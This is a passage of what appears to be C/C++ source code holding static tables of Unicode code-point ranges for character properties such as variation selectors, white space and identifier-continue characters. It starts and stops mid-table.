0x1DB}, {0x1DE, 0x1DE}, {0x1E0, 0x1E0}, {0x1E2, 0x1E2}, {0x1E4, 0x1E4}, {0x1E6, 0x1E6}, {0x1E8, 0x1E8}, {0x1EA, 0x1EA}, {0x1EC, 0x1EC}, {0x1EE, 0x1EE}, {0x1F1, 0x1F1}, {0x1F4, 0x1F4}, {0x1F6, 0x1F8}, {0x1FA, 0x1FA}, {0x1FC, 0x1FC}, {0x1FE, 0x1FE}, {0x200, 0x200}, {0x202, 0x202}, {0x204, 0x204}, {0x206, 0x206}, {0x208, 0x208}, {0x20A, 0x20A}, {0x20C, 0x20C}, {0x20E, 0x20E}, {0x210, 0x210}, {0x212, 0x212}, {0x214, 0x214}, {0x216, 0x216}, {0x218, 0x218}, {0x21A, 0x21A}, {0x21C, 0x21C}, {0x21E, 0x21E}, {0x220, 0x220}, {0x222, 0x222}, {0x224, 0x224}, {0x226, 0x226}, {0x228, 0x228}, {0x22A, 0x22A}, {0x22C, 0x22C}, {0x22E, 0x22E}, {0x230, 0x230}, {0x232, 0x232}, {0x23A, 0x23B}, {0x23D, 0x23E}, {0x241, 0x241}, {0x243, 0x246}, {0x248, 0x248}, {0x24A, 0x24A}, {0x24C, 0x24C}, {0x24E, 0x24E}, {0x370, 0x370}, {0x372, 0x372}, {0x376, 0x376}, {0x37F, 0x37F}, {0x386, 0x386}, {0x388, 0x38A}, {0x38C, 0x38C}, {0x38E, 0x38F}, {0x391, 0x3A1}, {0x3A3, 0x3AB}, {0x3CF, 0x3CF}, {0x3D2, 0x3D4}, {0x3D8, 0x3D8}, {0x3DA, 0x3DA}, {0x3DC, 0x3DC}, {0x3DE, 0x3DE}, {0x3E0, 0x3E0}, {0x3E2, 0x3E2}, {0x3E4, 0x3E4}, {0x3E6, 0x3E6}, {0x3E8, 0x3E8}, {0x3EA, 0x3EA}, {0x3EC, 0x3EC}, {0x3EE, 0x3EE}, {0x3F4, 0x3F4}, {0x3F7, 0x3F7}, {0x3F9, 0x3FA}, {0x3FD, 0x42F}, {0x460, 0x460}, {0x462, 0x462}, {0x464, 0x464}, {0x466, 0x466}, {0x468, 0x468}, {0x46A, 0x46A}, {0x46C, 0x46C}, {0x46E, 0x46E}, {0x470, 0x470}, {0x472, 0x472}, {0x474, 0x474}, {0x476, 0x476}, {0x478, 0x478}, {0x47A, 0x47A}, {0x47C, 0x47C}, {0x47E, 0x47E}, {0x480, 0x480}, {0x48A, 0x48A}, {0x48C, 0x48C}, {0x48E, 0x48E}, {0x490, 0x490}, {0x492, 0x492}, {0x494, 0x494}, {0x496, 0x496}, {0x498, 0x498}, {0x49A, 0x49A}, {0x49C, 0x49C}, {0x49E, 0x49E}, {0x4A0, 0x4A0}, {0x4A2, 0x4A2}, {0x4A4, 0x4A4}, {0x4A6, 0x4A6}, {0x4A8, 0x4A8}, {0x4AA, 0x4AA}, {0x4AC, 0x4AC}, {0x4AE, 0x4AE}, {0x4B0, 0x4B0}, {0x4B2, 0x4B2}, {0x4B4, 0x4B4}, {0x4B6, 0x4B6}, {0x4B8, 0x4B8}, {0x4BA, 0x4BA}, {0x4BC, 0x4BC}, {0x4BE, 0x4BE}, {0x4C0, 0x4C1}, {0x4C3, 0x4C3}, {0x4C5, 0x4C5}, {0x4C7, 0x4C7}, {0x4C9, 0x4C9}, {0x4CB, 0x4CB}, {0x4CD, 0x4CD}, {0x4D0, 0x4D0}, {0x4D2, 0x4D2}, {0x4D4, 0x4D4}, {0x4D6, 0x4D6}, {0x4D8, 0x4D8}, {0x4DA, 0x4DA}, {0x4DC, 0x4DC}, {0x4DE, 0x4DE}, {0x4E0, 0x4E0}, {0x4E2, 0x4E2}, {0x4E4, 0x4E4}, {0x4E6, 0x4E6}, {0x4E8, 0x4E8}, {0x4EA, 0x4EA}, {0x4EC, 0x4EC}, {0x4EE, 0x4EE}, {0x4F0, 0x4F0}, {0x4F2, 0x4F2}, {0x4F4, 0x4F4}, {0x4F6, 0x4F6}, {0x4F8, 0x4F8}, {0x4FA, 0x4FA}, {0x4FC, 0x4FC}, {0x4FE, 0x4FE}, {0x500, 0x500}, {0x502, 0x502}, {0x504, 0x504}, {0x506, 0x506}, {0x508, 0x508}, {0x50A, 0x50A}, {0x50C, 0x50C}, {0x50E, 0x50E}, {0x510, 0x510}, {0x512, 0x512}, {0x514, 0x514}, {0x516, 0x516}, {0x518, 0x518}, {0x51A, 0x51A}, {0x51C, 0x51C}, {0x51E, 0x51E}, {0x520, 0x520}, {0x522, 0x522}, {0x524, 0x524}, {0x526, 0x526}, {0x528, 0x528}, {0x52A, 0x52A}, {0x52C, 0x52C}, {0x52E, 0x52E}, {0x531, 0x556}, {0x10A0, 0x10C5}, {0x10C7, 0x10C7}, {0x10CD, 0x10CD}, {0x13A0, 0x13F5}, {0x1C89, 0x1C89}, {0x1C90, 0x1CBA}, {0x1CBD, 0x1CBF}, {0x1E00, 0x1E00}, {0x1E02, 0x1E02}, {0x1E04, 0x1E04}, {0x1E06, 0x1E06}, {0x1E08, 0x1E08}, {0x1E0A, 0x1E0A}, {0x1E0C, 0x1E0C}, {0x1E0E, 0x1E0E}, {0x1E10, 0x1E10}, {0x1E12, 0x1E12}, {0x1E14, 0x1E14}, {0x1E16, 0x1E16}, {0x1E18, 0x1E18}, {0x1E1A, 0x1E1A}, {0x1E1C, 0x1E1C}, {0x1E1E, 0x1E1E}, {0x1E20, 0x1E20}, {0x1E22, 0x1E22}, {0x1E24, 0x1E24}, {0x1E26, 0x1E26}, {0x1E28, 0x1E28}, {0x1E2A, 0x1E2A}, {0x1E2C, 0x1E2C}, {0x1E2E, 0x1E2E}, {0x1E30, 0x1E30}, {0x1E32, 0x1E32}, {0x1E34, 0x1E34}, {0x1E36, 0x1E36}, {0x1E38, 0x1E38}, {0x1E3A, 0x1E3A}, {0x1E3C, 0x1E3C}, {0x1E3E, 0x1E3E}, {0x1E40, 0x1E40}, {0x1E42, 0x1E42}, {0x1E44, 0x1E44}, {0x1E46, 0x1E46}, {0x1E48, 0x1E48}, {0x1E4A, 0x1E4A}, {0x1E4C, 0x1E4C}, {0x1E4E, 0x1E4E}, {0x1E50, 0x1E50}, {0x1E52, 0x1E52}, {0x1E54, 0x1E54}, {0x1E56, 0x1E56}, {0x1E58, 0x1E58}, {0x1E5A, 0x1E5A}, {0x1E5C, 0x1E5C}, {0x1E5E, 0x1E5E}, {0x1E60, 0x1E60}, {0x1E62, 0x1E62}, {0x1E64, 0x1E64}, {0x1E66, 0x1E66}, {0x1E68, 0x1E68}, {0x1E6A, 0x1E6A}, {0x1E6C, 0x1E6C}, {0x1E6E, 0x1E6E}, {0x1E70, 0x1E70}, {0x1E72, 0x1E72}, {0x1E74, 0x1E74}, {0x1E76, 0x1E76}, {0x1E78, 0x1E78}, {0x1E7A, 0x1E7A}, {0x1E7C, 0x1E7C}, {0x1E7E, 0x1E7E}, {0x1E80, 0x1E80}, {0x1E82, 0x1E82}, {0x1E84, 0x1E84}, {0x1E86, 0x1E86}, {0x1E88, 0x1E88}, {0x1E8A, 0x1E8A}, {0x1E8C, 0x1E8C}, {0x1E8E, 0x1E8E}, {0x1E90, 0x1E90}, {0x1E92, 0x1E92}, {0x1E94, 0x1E94}, {0x1E9E, 0x1E9E}, {0x1EA0, 0x1EA0}, {0x1EA2, 0x1EA2}, {0x1EA4, 0x1EA4}, {0x1EA6, 0x1EA6}, {0x1EA8, 0x1EA8}, {0x1EAA, 0x1EAA}, {0x1EAC, 0x1EAC}, {0x1EAE, 0x1EAE}, {0x1EB0, 0x1EB0}, {0x1EB2, 0x1EB2}, {0x1EB4, 0x1EB4}, {0x1EB6, 0x1EB6}, {0x1EB8, 0x1EB8}, {0x1EBA, 0x1EBA}, {0x1EBC, 0x1EBC}, {0x1EBE, 0x1EBE}, {0x1EC0, 0x1EC0}, {0x1EC2, 0x1EC2}, {0x1EC4, 0x1EC4}, {0x1EC6, 0x1EC6}, {0x1EC8, 0x1EC8}, {0x1ECA, 0x1ECA}, {0x1ECC, 0x1ECC}, {0x1ECE, 0x1ECE}, {0x1ED0, 0x1ED0}, {0x1ED2, 0x1ED2}, {0x1ED4, 0x1ED4}, {0x1ED6, 0x1ED6}, {0x1ED8, 0x1ED8}, {0x1EDA, 0x1EDA}, {0x1EDC, 0x1EDC}, {0x1EDE, 0x1EDE}, {0x1EE0, 0x1EE0}, {0x1EE2, 0x1EE2}, {0x1EE4, 0x1EE4}, {0x1EE6, 0x1EE6}, {0x1EE8, 0x1EE8}, {0x1EEA, 0x1EEA}, {0x1EEC, 0x1EEC}, {0x1EEE, 0x1EEE}, {0x1EF0, 0x1EF0}, {0x1EF2, 0x1EF2}, {0x1EF4, 0x1EF4}, {0x1EF6, 0x1EF6}, {0x1EF8, 0x1EF8}, {0x1EFA, 0x1EFA}, {0x1EFC, 0x1EFC}, {0x1EFE, 0x1EFE}, {0x1F08, 0x1F0F}, {0x1F18, 0x1F1D}, {0x1F28, 0x1F2F}, {0x1F38, 0x1F3F}, {0x1F48, 0x1F4D}, {0x1F59, 0x1F59}, {0x1F5B, 0x1F5B}, {0x1F5D, 0x1F5D}, {0x1F5F, 0x1F5F}, {0x1F68, 0x1F6F}, {0x1FB8, 0x1FBB}, {0x1FC8, 0x1FCB}, {0x1FD8, 0x1FDB}, {0x1FE8, 0x1FEC}, {0x1FF8, 0x1FFB}, {0x2102, 0x2102}, {0x2107, 0x2107}, {0x210B, 0x210D}, {0x2110, 0x2112}, {0x2115, 0x2115}, {0x2119, 0x211D}, {0x2124, 0x2124}, {0x2126, 0x2126}, {0x2128, 0x2128}, {0x212A, 0x212D}, {0x2130, 0x2133}, {0x213E, 0x213F}, {0x2145, 0x2145}, {0x2160, 0x216F}, {0x2183, 0x2183}, {0x24B6, 0x24CF}, {0x2C00, 0x2C2F}, {0x2C60, 0x2C60}, {0x2C62, 0x2C64}, {0x2C67, 0x2C67}, {0x2C69, 0x2C69}, {0x2C6B, 0x2C6B}, {0x2C6D, 0x2C70}, {0x2C72, 0x2C72}, {0x2C75, 0x2C75}, {0x2C7E, 0x2C80}, {0x2C82, 0x2C82}, {0x2C84, 0x2C84}, {0x2C86, 0x2C86}, {0x2C88, 0x2C88}, {0x2C8A, 0x2C8A}, {0x2C8C, 0x2C8C}, {0x2C8E, 0x2C8E}, {0x2C90, 0x2C90}, {0x2C92, 0x2C92}, {0x2C94, 0x2C94}, {0x2C96, 0x2C96}, {0x2C98, 0x2C98}, {0x2C9A, 0x2C9A}, {0x2C9C, 0x2C9C}, {0x2C9E, 0x2C9E}, {0x2CA0, 0x2CA0}, {0x2CA2, 0x2CA2}, {0x2CA4, 0x2CA4}, {0x2CA6, 0x2CA6}, {0x2CA8, 0x2CA8}, {0x2CAA, 0x2CAA}, {0x2CAC, 0x2CAC}, {0x2CAE, 0x2CAE}, {0x2CB0, 0x2CB0}, {0x2CB2, 0x2CB2}, {0x2CB4, 0x2CB4}, {0x2CB6, 0x2CB6}, {0x2CB8, 0x2CB8}, {0x2CBA, 0x2CBA}, {0x2CBC, 0x2CBC}, {0x2CBE, 0x2CBE}, {0x2CC0, 0x2CC0}, {0x2CC2, 0x2CC2}, {0x2CC4, 0x2CC4}, {0x2CC6, 0x2CC6}, {0x2CC8, 0x2CC8}, {0x2CCA, 0x2CCA}, {0x2CCC, 0x2CCC}, {0x2CCE, 0x2CCE}, {0x2CD0, 0x2CD0}, {0x2CD2, 0x2CD2}, {0x2CD4, 0x2CD4}, {0x2CD6, 0x2CD6}, {0x2CD8, 0x2CD8}, {0x2CDA, 0x2CDA}, {0x2CDC, 0x2CDC}, {0x2CDE, 0x2CDE}, {0x2CE0, 0x2CE0}, {0x2CE2, 0x2CE2}, {0x2CEB, 0x2CEB}, {0x2CED, 0x2CED}, {0x2CF2, 0x2CF2}, {0xA640, 0xA640}, {0xA642, 0xA642}, {0xA644, 0xA644}, {0xA646, 0xA646}, {0xA648, 0xA648}, {0xA64A, 0xA64A}, {0xA64C, 0xA64C}, {0xA64E, 0xA64E}, {0xA650, 0xA650}, {0xA652, 0xA652}, {0xA654, 0xA654}, {0xA656, 0xA656}, {0xA658, 0xA658}, {0xA65A, 0xA65A}, {0xA65C, 0xA65C}, {0xA65E, 0xA65E}, {0xA660, 0xA660}, {0xA662, 0xA662}, {0xA664, 0xA664}, {0xA666, 0xA666}, {0xA668, 0xA668}, {0xA66A, 0xA66A}, {0xA66C, 0xA66C}, {0xA680, 0xA680}, {0xA682, 0xA682}, {0xA684, 0xA684}, {0xA686, 0xA686}, {0xA688, 0xA688}, {0xA68A, 0xA68A}, {0xA68C, 0xA68C}, {0xA68E, 0xA68E}, {0xA690, 0xA690}, {0xA692, 0xA692}, {0xA694, 0xA694}, {0xA696, 0xA696}, {0xA698, 0xA698}, {0xA69A, 0xA69A}, {0xA722, 0xA722}, {0xA724, 0xA724}, {0xA726, 0xA726}, {0xA728, 0xA728}, {0xA72A, 0xA72A}, {0xA72C, 0xA72C}, {0xA72E, 0xA72E}, {0xA732, 0xA732}, {0xA734, 0xA734}, {0xA736, 0xA736}, {0xA738, 0xA738}, {0xA73A, 0xA73A}, {0xA73C, 0xA73C}, {0xA73E, 0xA73E}, {0xA740, 0xA740}, {0xA742, 0xA742}, {0xA744, 0xA744}, {0xA746, 0xA746}, {0xA748, 0xA748}, {0xA74A, 0xA74A}, {0xA74C, 0xA74C}, {0xA74E, 0xA74E}, {0xA750, 0xA750}, {0xA752, 0xA752}, {0xA754, 0xA754}, {0xA756, 0xA756}, {0xA758, 0xA758}, {0xA75A, 0xA75A}, {0xA75C, 0xA75C}, {0xA75E, 0xA75E}, {0xA760, 0xA760}, {0xA762, 0xA762}, {0xA764, 0xA764}, {0xA766, 0xA766}, {0xA768, 0xA768}, {0xA76A, 0xA76A}, {0xA76C, 0xA76C}, {0xA76E, 0xA76E}, {0xA779, 0xA779}, {0xA77B, 0xA77B}, {0xA77D, 0xA77E}, {0xA780, 0xA780}, {0xA782, 0xA782}, {0xA784, 0xA784}, {0xA786, 0xA786}, {0xA78B, 0xA78B}, {0xA78D, 0xA78D}, {0xA790, 0xA790}, {0xA792, 0xA792}, {0xA796, 0xA796}, {0xA798, 0xA798}, {0xA79A, 0xA79A}, {0xA79C, 0xA79C}, {0xA79E, 0xA79E}, {0xA7A0, 0xA7A0}, {0xA7A2, 0xA7A2}, {0xA7A4, 0xA7A4}, {0xA7A6, 0xA7A6}, {0xA7A8, 0xA7A8}, {0xA7AA, 0xA7AE}, {0xA7B0, 0xA7B4}, {0xA7B6, 0xA7B6}, {0xA7B8, 0xA7B8}, {0xA7BA, 0xA7BA}, {0xA7BC, 0xA7BC}, {0xA7BE, 0xA7BE}, {0xA7C0, 0xA7C0}, {0xA7C2, 0xA7C2}, {0xA7C4, 0xA7C7}, {0xA7C9, 0xA7C9}, {0xA7CB, 0xA7CC}, {0xA7CE, 0xA7CE}, {0xA7D0, 0xA7D0}, {0xA7D2, 0xA7D2}, {0xA7D4, 0xA7D4}, {0xA7D6, 0xA7D6}, {0xA7D8, 0xA7D8}, {0xA7DA, 0xA7DA}, {0xA7DC, 0xA7DC}, {0xA7F5, 0xA7F5}, {0xFF21, 0xFF3A}, {0x10400, 0x10427}, {0x104B0, 0x104D3}, {0x10570, 0x1057A}, {0x1057C, 0x1058A}, {0x1058C, 0x10592}, {0x10594, 0x10595}, {0x10C80, 0x10CB2}, {0x10D50, 0x10D65}, {0x118A0, 0x118BF}, {0x16E40, 0x16E5F}, {0x16EA0, 0x16EB8}, {0x1D400, 0x1D419}, {0x1D434, 0x1D44D}, {0x1D468, 0x1D481}, {0x1D49C, 0x1D49C}, {0x1D49E, 0x1D49F}, {0x1D4A2, 0x1D4A2}, {0x1D4A5, 0x1D4A6}, {0x1D4A9, 0x1D4AC}, {0x1D4AE, 0x1D4B5}, {0x1D4D0, 0x1D4E9}, {0x1D504, 0x1D505}, {0x1D507, 0x1D50A}, {0x1D50D, 0x1D514}, {0x1D516, 0x1D51C}, {0x1D538, 0x1D539}, {0x1D53B, 0x1D53E}, {0x1D540, 0x1D544}, {0x1D546, 0x1D546}, {0x1D54A, 0x1D550}, {0x1D56C, 0x1D585}, {0x1D5A0, 0x1D5B9}, {0x1D5D4, 0x1D5ED}, {0x1D608, 0x1D621}, {0x1D63C, 0x1D655}, {0x1D670, 0x1D689}, {0x1D6A8, 0x1D6C0}, {0x1D6E2, 0x1D6FA}, {0x1D71C, 0x1D734}, {0x1D756, 0x1D76E}, {0x1D790, 0x1D7A8}, {0x1D7CA, 0x1D7CA}, {0x1E900, 0x1E921}, {0x1F130, 0x1F149}, {0x1F150, 0x1F169}, {0x1F170, 0x1F189}, }; static const UnicodeRange kRanges_Variation_Selector[] = { {0x180B, 0x180D}, {0x180F, 0x180F}, {0xFE00, 0xFE0F}, {0xE0100, 0xE01EF}, }; static const UnicodeRange kRanges_White_Space[] = { {0x9, 0xD}, {0x20, 0x20}, {0x85, 0x85}, {0xA0, 0xA0}, {0x1680, 0x1680}, {0x2000, 0x200A}, {0x2028, 0x2029}, {0x202F, 0x202F}, {0x205F, 0x205F}, {0x3000, 0x3000}, }; static const UnicodeRange kRanges_XID_Continue[] = { {0x30, 0x39}, {0x41, 0x5A}, {0x5F, 0x5F}, {0x61, 0x7A}, {0xAA, 0xAA}, {0xB5, 0xB5}, {0xB7, 0xB7}, {0xBA, 0xBA}, {0xC0, 0xD6}, {0xD8, 0xF6}, {0xF8, 0x2C1}, {0x2C6, 0x2D1}, {0x2E0, 0x2E4}, {0x2EC, 0x2EC}, {0x2EE, 0x2EE}, {0x300, 0x374}, {0x376, 0x377}, {0x37B, 0x37D}, {0x37F, 0x37F}, {0x386, 0x38A}, {0x38C, 0x38C}, {0x38E, 0x3A1}, {0x3A3, 0x3F5}, {0x3F7, 0x481}, {0x483, 0x487}, {0x48A, 0x52F}, {0x531, 0x556}, {0x559, 0x559}, {0x560, 0x588}, {0x591, 0x5BD}, {0x5BF, 0x5BF}, {0x5C1, 0x5C2}, {0x5C4, 0x5C5}, {0x5C7, 0x5C7}, {0x5D0, 0x5EA}, {0x5EF, 0x5F2}, {0x610, 0x61A}, {0x620, 0x669}, {0x66E, 0x6D3}, {0x6D5, 0x6DC}, {0x6DF, 0x6E8}, {0x6EA, 0x6FC}, {0x6FF, 0x6FF}, {0x710, 0x74A}, {0x74D, 0x7B1}, {0x7C0, 0x7F5}, {0x7FA, 0x7FA}, {0x7FD, 0x7FD}, {0x800, 0x82D}, {0x840, 0x85B}, {0x860, 0x86A}, {0x870, 0x887}, {0x889, 0x88F}, {0x897, 0x8E1}, {0x8E3, 0x963}, {0x966, 0x96F}, {0x971, 0x983}, {0x985, 0x98C}, {0x98F, 0x990}, {0x993, 0x9A8}, {0x9AA, 0x9B0}, {0x9B2, 0x9B2}, {0x9B6, 0x9B9}, {0x9BC, 0x9C4}, {0x9C7, 0x9C8}, {0x9CB, 0x9CE}, {0x9D7, 0x9D7}, {0x9DC, 0x9DD}, {0x9DF, 0x9E3}, {0x9E6, 0x9F1}, {0x9FC, 0x9FC}, {0x9FE, 0x9FE}, {0xA01, 0xA03}, {0xA05, 0xA0A}, {0xA0F, 0xA10}, {0xA13, 0xA28}, {0xA2A, 0xA30}, {0xA32, 0xA33}, {0xA35, 0xA36}, {0xA38, 0xA39}, {0xA3C, 0xA3C}, {0xA3E, 0xA42}, {0xA47, 0xA48}, {0xA4B, 0xA4D}, {0xA51, 0xA51}, {0xA59, 0xA5C}, {0xA5E, 0xA5E}, {0xA66, 0xA75}, {0xA81, 0xA83}, {0xA85, 0xA8D}, {0xA8F, 0xA91}, {0xA93, 0xAA8}, {0xAAA, 0xAB0}, {0xAB2, 0xAB3}, {0xAB5, 0xAB9}, {0xABC, 0xAC5}, {0xAC7, 0xAC9}, {0xACB, 0xACD}, {0xAD0, 0xAD0}, {0xAE0, 0xAE3}, {0xAE6, 0xAEF}, {0xAF9, 0xAFF}, {0xB01, 0xB03}, {0xB05, 0xB0C}, {0xB0F, 0xB10}, {0xB13, 0xB28}, {0xB2A, 0xB30}, {0xB32, 0xB33}, {0xB35, 0xB39}, {0xB3C, 0xB44}, {0xB47, 0xB48}, {0xB4B, 0xB4D}, {0xB55, 0xB57}, {0xB5C, 0xB5D}, {0xB5F, 0xB63}, {0xB66, 0xB6F}, {0xB71, 0xB71}, {0xB82, 0xB83}, {0xB85, 0xB8A}, {0xB8E, 0xB90}, {0xB92, 0xB95}, {0xB99, 0xB9A}, {0xB9C, 0xB9C}, {0xB9E, 0xB9F}, {0xBA3, 0xBA4}, {0xBA8, 0xBAA}, {0xBAE, 0xBB9}, {0xBBE, 0xBC2}, {0xBC6, 0xBC8}, {0xBCA, 0xBCD}, {0xBD0, 0xBD0}, {0xBD7, 0xBD7}, {0xBE6, 0xBEF}, {0xC00, 0xC0C}, {0xC0E, 0xC10}, {0xC12, 0xC28}, {0xC2A, 0xC39}, {0xC3C, 0xC44}, {0xC46, 0xC48}, {0xC4A, 0xC4D}, {0xC55, 0xC56}, {0xC58, 0xC5A}, {0xC5C, 0xC5D}, {0xC60, 0xC63}, {0xC66, 0xC6F}, {0xC80, 0xC83}, {0xC85, 0xC8C}, {0xC8E, 0xC90}, {0xC92, 0xCA8}, {0xCAA, 0xCB3}, {0xCB5, 0xCB9}, {0xCBC, 0xCC4}, {0xCC6, 0xCC8}, {0xCCA, 0xCCD}, {0xCD5, 0xCD6}, {0xCDC, 0xCDE}, {0xCE0, 0xCE3}, {0xCE6, 0xCEF}, {0xCF1, 0xCF3}, {0xD00, 0xD0C}, {0xD0E, 0xD10}, {0xD12, 0xD44}, {0xD46, 0xD48}, {0xD4A, 0xD4E}, {0xD54, 0xD57}, {0xD5F, 0xD63}, {0xD66, 0xD6F}, {0xD7A, 0xD7F}, {0xD81, 0xD83}, {0xD85, 0xD96}, {0xD9A, 0xDB1}, {0xDB3, 0xDBB}, {0xDBD, 0xDBD}, {0xDC0, 0xDC6}, {0xDCA, 0xDCA}, {0xDCF, 0xDD4}, {0xDD6, 0xDD6}, {0xDD8, 0xDDF}, {0xDE6, 0xDEF}, {0xDF2, 0xDF3}, {0xE01, 0xE3A}, {0xE40, 0xE4E}, {0xE50, 0xE59}, {0xE81, 0xE82}, {0xE84, 0xE84}, {0xE86, 0xE8A}, {0xE8C, 0xEA3}, {0xEA5, 0xEA5}, {0xEA7, 0xEBD}, {0xEC0, 0xEC4}, {0xEC6, 0xEC6}, {0xEC8, 0xECE}, {0xED0, 0xED9}, {0xEDC, 0xEDF}, {0xF00, 0xF00}, {0xF18, 0xF19}, {0xF20, 0xF29}, {0xF35, 0xF35}, {0xF37, 0xF37}, {0xF39, 0xF39}, {0xF3E, 0xF47}, {0xF49, 0xF6C}, {0xF71, 0xF84}, {0xF86, 0xF97}, {0xF99, 0xFBC}, {0xFC6, 0xFC6}, {0x1000, 0x1049}, {0x1050, 0x109D}, {0x10A0, 0x10C5}, {0x10C7, 0x10C7}, {0x10CD, 0x10CD}, {0x10D0, 0x10FA}, {0x10FC, 0x1248}, {0x124A, 0x124D}, {0x1250, 0x1256}, {0x1258, 0x1258}, {0x125A, 0x125D}, {0x1260, 0x1288}, {0x128A, 0x128D}, {0x1290, 0x12B0}, {0x12B2, 0x12B5}, {0x12B8, 0x12BE}, {0x12C0, 0x12C0}, {0x12C2, 0x12C5}, {0x12C8, 0x12D6}, {0x12D8, 0x1310}, {0x1312, 0x1315}, {0x1318, 0x135A}, {0x135D, 0x135F}, {0x1369, 0x1371}, {0x1380, 0x138F}, {0x13A0, 0x13F5}, {0x13F8, 0x13FD}, {0x1401, 0x166C}, {0x166F, 0x167F}, {0x1681, 0x169A}, {0x16A0, 0x16EA}, {0x16EE, 0x16F8}, {0x1700, 0x1715}, {0x171F, 0x1734}, {0x1740, 0x1753}, {0x1760, 0x176C}, {0x176E, 0x1770}, {0x1772, 0x1773}, {0x1780, 0x17D3}, {0x17D7, 0x17D7}, {0x17DC, 0x17DD}, {0x17E0, 0x17E9}, {0x180B, 0x180D}, {0x180F, 0x1819}, {0x1820, 0x1878}, {0x1880, 0x18AA}, {0x18B0, 0x18F5}, {0x1900, 0x191E}, {0x1920, 0x192B}, {0x1930, 0x193B}, {0x1946, 0x196D}, {0x1970, 0x1974}, {0x1980, 0x19AB}, {0x19B0, 0x19C9}, {0x19D0, 0x19DA}, {0x1A00, 0x1A1B}, {0x1A20, 0x1A5E}, {0x1A60, 0x1A7C}, {0x1A7F, 0x1A89}, {0x1A90, 0x1A99}, {0x1AA7, 0x1AA7}, {0x1AB0, 0x1ABD}, {0x1ABF, 0x1ADD}, {0x1AE0, 0x1AEB}, {0x1B00, 0x1B4C}, {0x1B50, 0x1B59}, {0x1B6B, 0x1B73}, {0x1B80, 0x1BF3}, {0x1C00, 0x1C37}, {0x1C40, 0x1C49}, {0x1C4D, 0x1C7D}, {0x1C80, 0x1C8A}, {0x1C90, 0x1CBA}, {0x1CBD, 0x1CBF}, {0x1CD0, 0x1CD2}, {0x1CD4, 0x1CFA}, {0x1D00, 0x1F15}, {0x1F18, 0x1F1D}, {0x1F20, 0x1F45}, {0x1F48, 0x1F4D}, {0x1F50, 0x1F57}, {0x1F59, 0x1F59}, {0x1F5B, 0x1F5B}, {0x1F5D, 0x1F5D}, {0x1F5F, 0x1F7D}, {0x1F80, 0x1FB4}, {0x1FB6, 0x1FBC}, {0x1FBE, 0x1FBE}, {0x1FC2, 0x1FC4}, {0x1FC6, 0x1FCC}, {0x1FD0, 0x1FD3}, {0x1FD6, 0x1FDB}, {0x1FE0, 0x1FEC}, {0x1FF2, 0x1FF4}, {0x1FF6, 0x1FFC}, {0x200C, 0x200D}, {0x203F, 0x2040}, {0x2054, 0x2054}, {0x2071, 0x2071}, {0x207F, 0x207F}, {0x2090, 0x209C}, {0x20D0, 0x20DC}, {0x20E1, 0x20E1}, {0x20E5, 0x20F0}, {0x2102, 0x2102}, {0x2107, 0x2107}, {0x210A, 0x2113}, {0x2115, 0x2115}, {0x2118, 0x211D}, {0x2124, 0x2124}, {0x2126, 0x2126}, {0x2128, 0x2128}, {0x212A, 0x2139}, {0x213C, 0x213F}, {0x2145, 0x2149}, {0x214E, 0x214E}, {0x2160, 0x2188}, {0x2C00, 0x2CE4}, {0x2CEB, 0x2CF3}, {0x2D00, 0x2D25}, {0x2D27, 0x2D27}, {0x2D2D, 0x2D2D}, {0x2D30, 0x2D67}, {0x2D6F, 0x2D6F}, {0x2D7F, 0x2D96}, {0x2DA0, 0x2DA6}, {0x2DA8, 0x2DAE}, {0x2DB0, 0x2DB6}, {0x2DB8, 0x2DBE}, {0x2DC0, 0x2DC6}, {0x2DC8, 0x2DCE}, {0x2DD0, 0x2DD6}, {0x2DD8, 0x2DDE}, {0x2DE0, 0x2DFF}, {0x3005, 0x3007}, {0x3021, 0x302F}, {0x3031, 0x3035}, {0x3038, 0x303C}, {0x3041, 0x3096}, {0x3099, 0x309A}, {0x309D, 0x309F}, {0x30A1, 0x30FF}, {0x3105, 0x312F}, {0x3131, 0x318E}, {0x31A0, 0x31BF}, {0x31F0, 0x31FF}, {0x3400, 0x4DBF}, {0x4E00, 0xA48C}, {0xA4D0, 0xA4FD}, {0xA500, 0xA60C}, {0xA610, 0xA62B}, {0xA640, 0xA66F}, {0xA674, 0xA67D}, {0xA67F, 0xA6F1}, {0xA717, 0xA71F}, {0xA722, 0xA788}, {0xA78B, 0xA7DC}, {0xA7F1, 0xA827}, {0xA82C, 0xA82C}, {0xA840, 0xA873}, {0xA880, 0xA8C5}, {0xA8D0, 0xA8D9}, {0xA8E0, 0xA8F7}, {0xA8FB, 0xA8FB}, {0xA8FD, 0xA92D}, {0xA930, 0xA953}, {0xA960, 0xA97C}, {0xA980, 0xA9C0}, {0xA9CF, 0xA9D9}, {0xA9E0, 0xA9FE}, {0xAA00, 0xAA36}, {0xAA40, 0xAA4D}, {0xAA50, 0xAA59}, {0xAA60, 0xAA76}, {0xAA7A, 0xAAC2}, {0xAADB, 0xAADD}, {0xAAE0, 0xAAEF}, {0xAAF2, 0xAAF6}, {0xAB01, 0xAB06}, {0xAB09, 0xAB0E}, {0xAB11, 0xAB16}, {0xAB20, 0xAB26}, {0xAB28, 0xAB2E}, {0xAB30, 0xAB5A}, {0xAB5C, 0xAB69}, {0xAB70, 0xABEA}, {0xABEC, 0xABED}, {0xABF0, 0xABF9}, {0xAC00, 0xD7A3}, {0xD7B0, 0xD7C6}, {0xD7CB, 0xD7FB}, {0xF900, 0xFA6D}, {0xFA70, 0xFAD9}, {0xFB00, 0xFB06}, {0xFB13, 0xFB17}, {0xFB1D, 0xFB28}, {0xFB2A, 0xFB36}, {0xFB38, 0xFB3C}, {0xFB3E, 0xFB3E}, {0xFB40, 0xFB41}, {0xFB43, 0xFB44}, {0xFB46, 0xFBB1}, {0xFBD3, 0xFC5D}, {0xFC64, 0xFD3D}, {0xFD50, 0xFD8F}, {0xFD92, 0xFDC7}, {0xFDF0, 0xFDF9}, {0xFE00, 0xFE0F}, {0xFE20, 0xFE2F}, {0xFE33, 0xFE34}, {0xFE4D, 0xFE4F}, {0xFE71, 0xFE71}, {0xFE73, 0xFE73}, {0xFE77, 0xFE77}, {0xFE79, 0xFE79}, {0xFE7B, 0xFE7B}, {0xFE7D, 0xFE7D}, {0xFE7F, 0xFEFC}, {0xFF10, 0xFF19}, {0xFF21, 0xFF3A}, {0xFF3F, 0xFF3F}, {0xFF41, 0xFF5A}, {0xFF65, 0xFFBE}, {0xFFC2, 0xFFC7}, {0xFFCA, 0xFFCF}, {0xFFD2, 0xFFD7}, {0xFFDA, 0xFFDC}, {0x10000, 0x1000B}, {0x1000D, 0x10026}, {0x10028, 0x1003A}, {0x1003C, 0x1003D}, 